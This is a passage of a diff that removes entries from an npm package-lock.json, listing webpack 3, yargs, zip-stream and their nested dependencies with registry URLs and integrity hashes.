"sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/is-number/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", - "dev": true, - "dependencies": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/webidl-conversions": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", - "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==", - "engines": { - "node": ">=8" - } - }, - "node_modules/webpack": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-3.12.0.tgz", - "integrity": "sha512-Sw7MdIIOv/nkzPzee4o0EdvCuPmxT98+vVpIvwtcwcF1Q4SDSNp92vwcKc4REe7NItH9f1S4ra9FuQ7yuYZ8bQ==", - "dev": true, - "dependencies": { - "acorn": "^5.0.0", - "acorn-dynamic-import": "^2.0.0", - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0", - "async": "^2.1.2", - "enhanced-resolve": "^3.4.0", - "escope": "^3.6.0", - "interpret": "^1.0.0", - "json-loader": "^0.5.4", - "json5": "^0.5.1", - "loader-runner": "^2.3.0", - "loader-utils": "^1.1.0", - "memory-fs": "~0.4.1", - "mkdirp": "~0.5.0", - "node-libs-browser": "^2.0.0", - "source-map": "^0.5.3", - "supports-color": "^4.2.1", - "tapable": "^0.2.7", - "uglifyjs-webpack-plugin": "^0.4.6", - "watchpack": "^1.4.0", - "webpack-sources": "^1.0.1", - "yargs": "^8.0.2" - }, - "bin": { - "webpack": "bin/webpack.js" - }, - "engines": { - "node": ">=4.3.0 <5.0.0 || >=5.10" - } - }, - "node_modules/webpack-sources": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.1.0.tgz", - "integrity": "sha512-aqYp18kPphgoO5c/+NaUvEeACtZjMESmDChuD3NBciVpah3XpMEU9VAAtIaB1BsfJWWTSdv8Vv1m3T0aRk2dUw==", - "dev": true, - "dependencies": { - "source-list-map": "^2.0.0", - "source-map": "~0.6.1" - } - }, - "node_modules/webpack-sources/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/webpack/node_modules/acorn": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", - "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/webpack/node_modules/acorn-dynamic-import": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-2.0.2.tgz", - "integrity": "sha1-x1K9IQvvZ5UBtsbLf8hPj0cVjMQ=", - "dev": true, - "dependencies": { - "acorn": "^4.0.3" - } - }, - "node_modules/webpack/node_modules/acorn-dynamic-import/node_modules/acorn": { - "version": "4.0.13", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-4.0.13.tgz", - "integrity": "sha1-EFSVrlNh1pe9GVyCUZLhrX8lN4c=", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/webpack/node_modules/ajv": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.2.tgz", - "integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.1" - } - }, - "node_modules/webpack/node_modules/ajv-keywords": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", - "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", - "dev": true, - "peerDependencies": { - "ajv": "^6.0.0" - } - }, - "node_modules/webpack/node_modules/ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "dependencies": { - "lodash": "^4.17.10" - } - }, - "node_modules/webpack/node_modules/camelcase": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-1.2.1.tgz", - "integrity": "sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/webpack/node_modules/cliui": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-2.1.0.tgz", - "integrity": "sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=", - "dev": true, - "dependencies": { - "center-align": "^0.1.1", - "right-align": "^0.1.1", - "wordwrap": "0.0.2" - } - }, - "node_modules/webpack/node_modules/enhanced-resolve": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-3.4.1.tgz", - "integrity": "sha1-BCHjOf1xQZs9oT0Smzl5BAIwR24=", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.4.0", - "object-assign": "^4.0.1", - "tapable": "^0.2.7" - }, - "engines": { - "node": ">=4.3.0 <5.0.0 || >=5.10" - } - }, - "node_modules/webpack/node_modules/fast-deep-equal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", - "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", - "dev": true - }, - "node_modules/webpack/node_modules/find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", - "dev": true, - "dependencies": { - "locate-path": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/webpack/node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "node_modules/webpack/node_modules/load-json-file": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-2.0.0.tgz", - "integrity": "sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "parse-json": "^2.2.0", - "pify": "^2.0.0", - "strip-bom": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/os-locale": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", - "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", - "dev": true, - "dependencies": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/path-type": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-2.0.0.tgz", - "integrity": "sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=", - "dev": true, - "dependencies": { - "pify": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/read-pkg": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-2.0.0.tgz", - "integrity": "sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=", - "dev": true, - "dependencies": { - "load-json-file": "^2.0.0", - "normalize-package-data": "^2.3.2", - "path-type": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/read-pkg-up": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-2.0.0.tgz", - "integrity": "sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=", - "dev": true, - "dependencies": { - "find-up": "^2.0.0", - "read-pkg": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", - "dev": true, - "dependencies": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/string-width/node_modules/is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/string-width/node_modules/strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "dependencies": { - "ansi-regex": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/strip-bom": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", - "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/supports-color": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.5.0.tgz", - "integrity": "sha1-vnoN5ITexcXN34s9WRJQRJEvY1s=", - "dev": true, - "dependencies": { - "has-flag": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/tapable": { - "version": "0.2.8", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-0.2.8.tgz", - "integrity": "sha1-mTcqXJmb8t8WCvwNdL7U9HlIzSI=", - "dev": true, - "engines": { - "node": ">=0.6" - } - }, - "node_modules/webpack/node_modules/uglify-js": { - "version": "2.8.29", - "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.8.29.tgz", - "integrity": "sha1-KcVzMUgFe7Th913zW3qcty5qWd0=", - "dev": true, - "dependencies": { - "source-map": "~0.5.1", - "yargs": "~3.10.0" - }, - "bin": { - "uglifyjs": "bin/uglifyjs" - }, - "engines": { - "node": ">=0.8.0" - }, - "optionalDependencies": { - "uglify-to-browserify": "~1.0.0" - } - }, - "node_modules/webpack/node_modules/uglify-js/node_modules/yargs": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.10.0.tgz", - "integrity": "sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=", - "dev": true, - "dependencies": { - "camelcase": "^1.0.2", - "cliui": "^2.1.0", - "decamelize": "^1.0.0", - "window-size": "0.1.0" - } - }, - "node_modules/webpack/node_modules/uglifyjs-webpack-plugin": { - "version": "0.4.6", - "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-0.4.6.tgz", - "integrity": "sha1-uVH0q7a9YX5m9j64kUmOORdj4wk=", - "dev": true, - "hasInstallScript": true, - "dependencies": { - "source-map": "^0.5.6", - "uglify-js": "^2.8.29", - "webpack-sources": "^1.0.1" - }, - "engines": { - "node": ">=4.3.0 <5.0.0 || >=5.10" - }, - "peerDependencies": { - "webpack": "^1.9 || ^2 || ^2.1.0-beta || ^2.2.0-rc || ^3.0.0" - } - }, - "node_modules/webpack/node_modules/which-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", - "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", - "dev": true - }, - "node_modules/webpack/node_modules/wordwrap": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.2.tgz", - "integrity": "sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=", - "dev": true, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/webpack/node_modules/yargs": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-8.0.2.tgz", - "integrity": "sha1-YpmpBVsc78lp/355wdkY3Osiw2A=", - "dev": true, - "dependencies": { - "camelcase": "^4.1.0", - "cliui": "^3.2.0", - "decamelize": "^1.1.1", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "read-pkg-up": "^2.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^7.0.0" - } - }, - "node_modules/webpack/node_modules/yargs-parser": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-7.0.0.tgz", - "integrity": "sha1-jQrELxbqVd69MyyvTEA4s+P139k=", - "dev": true, - "dependencies": { - "camelcase": "^4.1.0" - } - }, - "node_modules/webpack/node_modules/yargs-parser/node_modules/camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/yargs/node_modules/camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/webpack/node_modules/yargs/node_modules/cliui": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", - "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", - "dev": true, - "dependencies": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wrap-ansi": "^2.0.0" - } - }, - "node_modules/webpack/node_modules/yargs/node_modules/cliui/node_modules/string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, - "dependencies": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/websocket-driver": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.0.tgz", - "integrity": "sha1-DK+dLXVdk67gSdS90NP+LMoqJOs=", - "dev": true, - "dependencies": { - "http-parser-js": ">=0.4.0", - "websocket-extensions": ">=0.1.1" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/websocket-extensions": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.3.tgz", - "integrity": "sha512-nqHUnMXmBzT0w570r2JpJxfiSD1IzoI+HGVdd3aZ0yNi3ngvQ4jv1dtHt5VGxfI2yj5yqImPhOK4vmIh2xMbGg==", - "dev": true, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/whatwg-fetch": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz", - "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==", - "dev": true - }, - "node_modules/whatwg-url-without-unicode": { - "version": "8.0.0-1", - "resolved": "https://registry.npmjs.org/whatwg-url-without-unicode/-/whatwg-url-without-unicode-8.0.0-1.tgz", - "integrity": "sha512-0Uy8mjsG5O8Y53327XL+ZqsrMdxO1CL/6m840SmW5iyRWFvU2zlxS2RzpD3pFFVKYOKCmsKn5JKzWxQ+bImnWA==", - "dependencies": { - "webidl-conversions": "^5.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/whet.extend": { - "version": "0.9.9", - "resolved": "https://registry.npmjs.org/whet.extend/-/whet.extend-0.9.9.tgz", - "integrity": "sha1-+HfVv2SMl+WqVC+twW1qJZucEaE=", - "dev": true, - "engines": { - "node": ">=0.6.0" - } - }, - "node_modules/which": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/which/-/which-1.0.9.tgz", - "integrity": "sha1-RgwdoPgQED0DIam2M6+eV15kSG8=", - "dev": true, - "optional": true, - "bin": { - "which": "bin/which" - } - }, - "node_modules/which-module": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz", - "integrity": "sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=", - "dev": true - }, - "node_modules/which-pm-runs": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/which-pm-runs/-/which-pm-runs-1.0.0.tgz", - "integrity": "sha1-Zws6+8VS4LVd9rd4DKdGFfI60cs=", - "dev": true, - "optional": true - }, - "node_modules/wide-align": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.2.tgz", - "integrity": "sha1-Vx4PGwYEY268DfwhsDObvjE0FxA=", - "dev": true, - "dependencies": { - "string-width": "^1.0.2" - } - }, - "node_modules/window-size": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", - "integrity": "sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=", - "dev": true, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/with": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/with/-/with-7.0.2.tgz", - "integrity": "sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==", - "dev": true, - "dependencies": { - "@babel/parser": "^7.9.6", - "@babel/types": "^7.9.6", - "assert-never": "^1.2.1", - "babel-walk": "3.0.0-canary-5" - }, - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/wordwrap": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", - "integrity": "sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=", - "dev": true - }, - "node_modules/worker-farm": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.6.0.tgz", - "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", - "dev": true, - "dependencies": { - "errno": "~0.1.7" - } - }, - "node_modules/wp-vue-i18n": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/wp-vue-i18n/-/wp-vue-i18n-1.1.3.tgz", - "integrity": "sha512-24+ikdIPFHezwzwVHCxm685fA1gbNhIymtORVSWLSk1eWm1GQFJxm42z3hGBPwq2qQ7W2URTmN+mh3cwmA4kJA==", - "dev": true, - "dependencies": { - "bluebird": "^3.4.1", - "gettext-parser": "^1.2.0", - "glob": "^7.0.5", - "lodash": "^4.14.2", - "minimist": "^1.2.0", - "mkdirp": "^0.5.1", - "tmp": "^0.0.33" - }, - "bin": { - "wpvuei18n": "bin/wpvuei18n" - } - }, - "node_modules/wrap-ansi": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", - "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", - "dev": true, - "dependencies": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", - "dev": true - }, - "node_modules/write": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/write/-/write-0.2.1.tgz", - "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=", - "dev": true, - "dependencies": { - "mkdirp": "^0.5.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/xml": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz", - "integrity": "sha1-eLpyAgApxbyHuKgaPPzXS0ovweU=", - "dev": true - }, - "node_modules/xmlcreate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-1.0.2.tgz", - "integrity": "sha1-+mv3YqYKQT+z3Y9LA8WyaSONMI8=", - "dev": true - }, - "node_modules/xpath-builder": { - "version": "0.0.7", - "resolved": "https://registry.npmjs.org/xpath-builder/-/xpath-builder-0.0.7.tgz", - "integrity": "sha1-Z9a7w/ajIOwxfj5jaMVwa2ER3uw=", - "dev": true - }, - "node_modules/xtend": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz", - "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=", - "dev": true, - "engines": { - "node": ">=0.4" - } - }, - "node_modules/y18n": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", - "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=", - "dev": true - }, - "node_modules/yallist": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", - "dev": true - }, - "node_modules/yargs": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz", - "integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=", - "dev": true, - "dependencies": { - "camelcase": "^3.0.0", - "cliui": "^3.2.0", - "decamelize": "^1.1.1", - "get-caller-file": "^1.0.1", - "os-locale": "^1.4.0", - "read-pkg-up": "^1.0.1", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^1.0.2", - "which-module": "^1.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^5.0.0" - } - }, - "node_modules/yargs-parser": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz", - "integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=", - "dev": true, - "dependencies": { - "camelcase": "^3.0.0" - } - }, - "node_modules/yargs-parser/node_modules/camelcase": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", - "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/yargs/node_modules/camelcase": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", - "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/zip-stream": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-2.1.0.tgz", - "integrity": "sha512-F/xoLqlQShgvn1BzHQCNiYIoo2R93GQIMH+tA6JC3ckMDkme4bnhEEXSferZcG5ea/6bZNx3GqSUHqT8TUO6uQ==", - "dev": true, - "dependencies": { - "archiver-utils": "^2.1.0", - "compress-commons": "^2.0.0", - "readable-stream": "^3.4.0" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/zip-stream/node_modules/archiver-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz", - "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==", - "dev": true, - "dependencies": { - "glob": "^7.1.4", - "graceful-fs": "^4.2.0", - "lazystream": "^1.0.0", - "lodash.defaults": "^4.2.0", - "lodash.difference": "^4.5.0", - "lodash.flatten": "^4.4.0", - "lodash.isplainobject": "^4.0.6", - "lodash.union": "^4.6.0", - "normalize-path": "^3.0.0", - "readable-stream": "^2.0.0" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/zip-stream/node_modules/archiver-utils/node_modules/readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/zip-stream/node_modules/compress-commons": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-2.0.0.tgz", - "integrity": "sha512-gnETNngrfsAoLBENM8M0DoiCDJkHwz3OfIg4mBtqKDcRgE4oXNwHxHxgHvwKKlrcD7eZ7BVTy4l8t9xVF7q3FQ==", - "dev": true, - "dependencies": { - "buffer-crc32": "^0.2.13", - "crc32-stream": "^2.0.0", - "normalize-path": "^3.0.0", - "readable-stream": "^2.3.6" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/zip-stream/node_modules/compress-commons/node_modules/readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/zip-stream/node_modules/glob": { - "version": "7.1.4", - "resolved": 